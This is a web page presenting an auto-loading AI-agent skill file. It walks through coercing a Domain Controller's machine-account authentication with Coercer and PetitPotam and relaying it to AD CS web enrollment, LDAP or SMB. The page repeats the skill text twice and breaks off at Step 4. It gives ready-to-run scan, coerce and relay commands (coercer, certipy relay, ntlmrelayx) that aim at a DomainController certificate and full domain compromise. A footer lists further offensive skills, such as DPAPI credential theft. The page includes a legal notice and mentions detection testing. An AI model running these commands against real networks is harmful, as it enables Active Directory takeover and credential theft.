/coercing-authentication-with-coercer-petitpotam
Trigger machine account authentication with PetitPotam (MS-EFSR) and Coercer (MS-RPRN, MS-DFSNM, MS-FSRVP, MS-EVEN) via Coercer's scan/coerce/fuzz modes, feeding the coerced NTLM auth into a relay against AD CS Web Enrollment (ESC8), LDAP (RBCD), or SMB. Use in authorized
$ npx -y skills add mukul975/Anthropic-Cybersecurity-Skills --skill coercing-authentication-with-coercer-petitpotam --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/coercing-authentication-with-coercer-petitpotam
Context preview
The summary Claude sees to decide when to auto-load this skill.
Trigger machine account authentication with PetitPotam (MS-EFSR) and Coercer (MS-RPRN, MS-DFSNM, MS-FSRVP, MS-EVEN) via Coercer's scan/coerce/fuzz modes, feeding the coerced NTLM auth into a relay against AD CS Web Enrollment (ESC8), LDAP (RBCD), or SMB. Use in authorized
SKILL.md
coercing-authentication-with-coercer-petitpotam.SKILL.mdname: coercing-authentication-with-coercer-petitpotam
description: Trigger machine account authentication with PetitPotam (MS-EFSR) and Coercer (MS-RPRN, MS-DFSNM, MS-FSRVP, MS-EVEN) via Coercer's scan/coerce/fuzz modes, feeding the coerced NTLM auth into a relay against AD CS Web Enrollment (ESC8), LDAP (RBCD), or SMB. Use in authorized engagements to complete a coercion-relay chain against a Domain Controller, or to validate coercion detections and signing/EPA mitigations.
domain: cybersecurity
subdomain: red-teaming
tags:
- red-team
- active-directory
- coercion
- petitpotam
- coercer
- ntlm-relay
- esc8
- forced-authentication
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- DE.CM-01
mitre_attack:
- T1187
Coercing Authentication with Coercer and PetitPotam
> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Authentication coercion combined with NTLM relay can yield domain compromise. Use only against systems you own or have explicit written authorization to test. Unauthorized use is illegal.
Overview
Many Windows RPC interfaces expose methods that take a UNC path and cause the receiving server to authenticate to that path using its **machine account**. An attacker who can reach these interfaces can force a target (commonly a Domain Controller) to authenticate to an attacker-controlled host. On its own this is "Forced Authentication"; combined with an **NTLM relay**, the coerced machine credential is relayed to a service that does not enforce signing/EPA, most famously AD CS Web Enrollment (**ESC8**), yielding a certificate for the Domain Controller and ultimately domain compromise.
**PetitPotam** (Gilles Lionel / topotam) abuses the MS-EFSR (Encrypting File System Remote Protocol) `EfsRpcOpenFileRaw` / `EfsRpcEncryptFileSrv` methods. **Coercer** (p0dalirius) generalizes the technique: it is a Python tool that automatically coerces a Windows server to authenticate to an arbitrary machine through 12 methods spanning multiple protocols — MS-EFSR (PetitPotam), MS-RPRN (PrinterBug/SpoolSample), MS-DFSNM (DFSCoerce), MS-FSRVP (ShadowCoerce), MS-EVEN, and more. Coercer operates in three modes: **scan** (probe which RPC methods are reachable/coercible), **coerce** (trigger authentication), and **fuzz** (research path variations). Sources: [p0dalirius/Coercer](https://github.com/p0dalirius/Coercer), [topotam/PetitPotam](https://github.com/topotam/PetitPotam), [The Hacker Recipes — Forced Authentications](https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications).
When to Use
- To complete an ESC8/ESC11 chain by forcing a DC to authenticate to a relay
- To trigger machine authentication for NTLM relay to LDAP (RBCD) or SMB
- When a relay target is identified but no inbound authentication is occurring naturally
- During detection engineering to generate coercion telemetry for blue-team tuning
- To validate that DCs/servers are patched and that relay mitigations (signing/EPA) hold
Prerequisites
- Authorized scope including coercion and NTLM relay techniques
- Valid (often low-privileged) domain credentials; some methods work unauthenticated against unpatched hosts
- A relay listener (Certipy `relay` or Impacket `ntlmrelayx`) on a reachable host
- Network reachability to the target's RPC endpoints (135 + dynamic, 445)
- Linux attack host with Python 3.8+; install the tools:
# Coercer
pipx install coercer # or: sudo python3 -m pip install coercer
coercer --help
# PetitPotam (source)
git clone https://github.com/topotam/PetitPotam
# Impacket (provides ntlmrelayx, dFSCoerce etc.)
pipx install impacket
Objectives
- Identify which RPC coercion methods a target exposes (scan mode)
- Stand up an NTLM relay pointed at a vulnerable service (e.g., AD CS web enrollment)
- Coerce the target machine account to authenticate to the relay
- Obtain a relayed artifact (DC certificate via ESC8, RBCD write via LDAP)
- Document coercible methods and recommend patching/mitigations
MITRE ATT&CK Mapping
| ID | Technique | Application in this skill | |----|-----------|---------------------------| | T1187 | Forced Authentication | Using MS-EFSR/MS-RPRN/MS-DFSNM/MS-FSRVP RPC methods to force a target machine account to authenticate to an attacker-controlled host |
Chained techniques: T1557.001 (LLMNR/NBT-NS Poisoning and SMB/NTLM Relay) and T1649 (Steal or Forge Authentication Certificates) when relayed into AD CS.
Workflow
Step 1: Scan the target for coercible methods
Use Coercer's scan mode to enumerate which RPC methods on the target can be leveraged. This identifies the best coercion vector without firing a full attack.
coercer scan -u 'attacker' -p 'Passw0rd!' -d corp.local \
-t 10.0.0.10 -l 10.0.0.50`-t` is the target (e.g., the DC), `-l` is the listener IP that should receive the coerced authentication.
Step 2: Stand up the relay (ESC8 example)
In a separate terminal, start the relay aimed at AD CS web enrollment so any relayed DC authentication yields a DomainController certificate.
# Certipy relay into HTTP web enrollment (ESC8)
certipy relay -target 'http://CA.CORP.LOCAL' -template 'DomainController'
# Alternative: Impacket ntlmrelayx
impacket-ntlmrelayx -t http://CA.CORP.LOCAL/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainControllerStep 3: Coerce authentication with Coercer
Trigger the target machine account to authenticate to the relay/listener. `--always-continue` tries every method until one succeeds.
coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \
-t 10.0.0.10 -l 10.0.0.50 --always-continueTo use a single specific method (quieter), filter by method name:
coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \
-t 10.0.0.10 -l 10.0.0.50 --filter-method-name PetitPotamStep 4: Coerce with PetitPotam directly (MS-EFSR)
PetitPotam is the cano
Read more
name: coercing-authentication-with-coercer-petitpotam description: Trigger machine account authentication with PetitPotam (MS-EFSR) and Coercer (MS-RPRN, MS-DFSNM, MS-FSRVP, MS-EVEN) via Coercer's scan/coerce/fuzz modes, feeding the coerced NTLM auth into a relay against AD CS Web Enrollment (ESC8), LDAP (RBCD), or SMB. Use in authorized engagements to complete a coercion-relay chain against a Domain Controller, or to validate coercion detections and signing/EPA mitigations. domain: cybersecurity subdomain: red-teaming tags: - red-team - active-directory - coercion - petitpotam - coercer - ntlm-relay - esc8 - forced-authentication version: '1.0' author: mahipal license: Apache-2.0 nist_csf: - DE.CM-01 mitre_attack: - T1187
Coercing Authentication with Coercer and PetitPotam
> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Authentication coercion combined with NTLM relay can yield domain compromise. Use only against systems you own or have explicit written authorization to test. Unauthorized use is illegal.
Overview
Many Windows RPC interfaces expose methods that take a UNC path and cause the receiving server to authenticate to that path using its **machine account**. An attacker who can reach these interfaces can force a target (commonly a Domain Controller) to authenticate to an attacker-controlled host. On its own this is "Forced Authentication"; combined with an **NTLM relay**, the coerced machine credential is relayed to a service that does not enforce signing/EPA, most famously AD CS Web Enrollment (**ESC8**), yielding a certificate for the Domain Controller and ultimately domain compromise.
**PetitPotam** (Gilles Lionel / topotam) abuses the MS-EFSR (Encrypting File System Remote Protocol) `EfsRpcOpenFileRaw` / `EfsRpcEncryptFileSrv` methods. **Coercer** (p0dalirius) generalizes the technique: it is a Python tool that automatically coerces a Windows server to authenticate to an arbitrary machine through 12 methods spanning multiple protocols — MS-EFSR (PetitPotam), MS-RPRN (PrinterBug/SpoolSample), MS-DFSNM (DFSCoerce), MS-FSRVP (ShadowCoerce), MS-EVEN, and more. Coercer operates in three modes: **scan** (probe which RPC methods are reachable/coercible), **coerce** (trigger authentication), and **fuzz** (research path variations). Sources: [p0dalirius/Coercer](https://github.com/p0dalirius/Coercer), [topotam/PetitPotam](https://github.com/topotam/PetitPotam), [The Hacker Recipes — Forced Authentications](https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications).
When to Use
- To complete an ESC8/ESC11 chain by forcing a DC to authenticate to a relay
- To trigger machine authentication for NTLM relay to LDAP (RBCD) or SMB
- When a relay target is identified but no inbound authentication is occurring naturally
- During detection engineering to generate coercion telemetry for blue-team tuning
- To validate that DCs/servers are patched and that relay mitigations (signing/EPA) hold
Prerequisites
- Authorized scope including coercion and NTLM relay techniques
- Valid (often low-privileged) domain credentials; some methods work unauthenticated against unpatched hosts
- A relay listener (Certipy `relay` or Impacket `ntlmrelayx`) on a reachable host
- Network reachability to the target's RPC endpoints (135 + dynamic, 445)
- Linux attack host with Python 3.8+; install the tools:
# Coercer pipx install coercer # or: sudo python3 -m pip install coercer coercer --help # PetitPotam (source) git clone https://github.com/topotam/PetitPotam # Impacket (provides ntlmrelayx, dFSCoerce etc.) pipx install impacket
Objectives
- Identify which RPC coercion methods a target exposes (scan mode)
- Stand up an NTLM relay pointed at a vulnerable service (e.g., AD CS web enrollment)
- Coerce the target machine account to authenticate to the relay
- Obtain a relayed artifact (DC certificate via ESC8, RBCD write via LDAP)
- Document coercible methods and recommend patching/mitigations
MITRE ATT&CK Mapping
| ID | Technique | Application in this skill | |----|-----------|---------------------------| | T1187 | Forced Authentication | Using MS-EFSR/MS-RPRN/MS-DFSNM/MS-FSRVP RPC methods to force a target machine account to authenticate to an attacker-controlled host |
Chained techniques: T1557.001 (LLMNR/NBT-NS Poisoning and SMB/NTLM Relay) and T1649 (Steal or Forge Authentication Certificates) when relayed into AD CS.
Workflow
Step 1: Scan the target for coercible methods
Use Coercer's scan mode to enumerate which RPC methods on the target can be leveraged. This identifies the best coercion vector without firing a full attack.
coercer scan -u 'attacker' -p 'Passw0rd!' -d corp.local \
-t 10.0.0.10 -l 10.0.0.50`-t` is the target (e.g., the DC), `-l` is the listener IP that should receive the coerced authentication.
Step 2: Stand up the relay (ESC8 example)
In a separate terminal, start the relay aimed at AD CS web enrollment so any relayed DC authentication yields a DomainController certificate.
# Certipy relay into HTTP web enrollment (ESC8)
certipy relay -target 'http://CA.CORP.LOCAL' -template 'DomainController'
# Alternative: Impacket ntlmrelayx
impacket-ntlmrelayx -t http://CA.CORP.LOCAL/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainControllerStep 3: Coerce authentication with Coercer
Trigger the target machine account to authenticate to the relay/listener. `--always-continue` tries every method until one succeeds.
coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \
-t 10.0.0.10 -l 10.0.0.50 --always-continueTo use a single specific method (quieter), filter by method name:
coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \
-t 10.0.0.10 -l 10.0.0.50 --filter-method-name PetitPotamStep 4: Coerce with PetitPotam directly (MS-EFSR)
PetitPotam is the cano
817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0
Repo: mukul975/Anthropic-Cybersecurity-Skills
Other skills on cybersecurity-skills.
- /abusing-dpapi-for-credential-access
Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use
Open skill - /abusing-shadow-credentials-for-privesc
Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows
Open skill - /achieving-cmmc-level-2-compliance
Prepare a defense-contractor environment for CMMC Level 2 certification: scope CUI and FCI, implement the 110 NIST SP 800-171 Rev 2 security requirements across 14 families, compute the SPRS score with the DoD Assessment Methodology, manage a compliant POA&M, and ready the
Open skill - /acquiring-disk-image-with-dd-and-dcfldd
Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving
Open skill - /analyzing-active-directory-acl-abuse
Detect dangerous ACL misconfigurations in Active Directory using ldap3
Open skill - /analyzing-android-malware-with-apktool
Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and
Open skill

